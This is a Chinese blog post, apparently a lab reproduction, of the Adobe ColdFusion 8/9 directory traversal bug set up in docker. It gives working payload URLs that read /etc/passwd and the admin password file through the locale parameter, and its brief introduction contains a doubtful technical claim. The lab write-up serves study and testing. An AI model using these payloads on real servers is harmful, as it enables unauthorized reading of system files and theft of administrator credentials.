iss版本服务器读取_Adobe ColdFusion 文件读取漏洞

    Adobe ColdFusion(直译:冷聚变),是一个商用的快速应用程序开发平台,在1995年由JJ Allaire开创。ColdFusion最初是为了创建能与数据库连接的网站而开发的。2.0版本(1996年推出)以后,它成为了一个全面的开发平台,包括一个集成开发环境以及功能全面的脚本语言。ColdFusion支持的CFML(ColdFusion Markup Language)是一种脚本语言,文件以*.cfm为文件名,在ColdFusion专用的应用服务器环境下运行。cfm文件被编译器翻译为对应的C++语言程序,然后运行并向浏览器返回结果。它的设计思想被一些人认为非常先进,被一些语言所借鉴。

    Adobe ColdFusion 8、9版本中存在一处目录穿越漏洞,可导致未授权的用户读取服务器任意文件。

环境搭建

// 执行如下命令启动Adobe CouldFusion 8.0.1版本服务器:docker-compose up -d// 环境拉取完成,直接访问地址http://192.168.233.131:8500/CFIDE/administrator/enter.cfm// 可以看到初始化页面,输入密码admin,开始初始化整个环境。初始化较慢。

0eb221384601bcc73f54693317f7960a.png

5c9693a24f2e9241e84e4d4c4c9d671f.png

db9c8784b9739a700d70277822a03721.png

漏洞复现

// 直接访问该URL,即可读取文件 /etc/passwdhttp://192.168.233.131:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en

18b0d3d2e4f613b6d007519787f4ea3a.png

// 读取后台管理员密码http://192.168.233.131:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en

382d1b4e6997b9dbf3eda1591d3c9d1f.png

// 且基本会存在目录遍历http://192.168.233.131:8500/

23da15f358555d3221de828adfa52e70.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值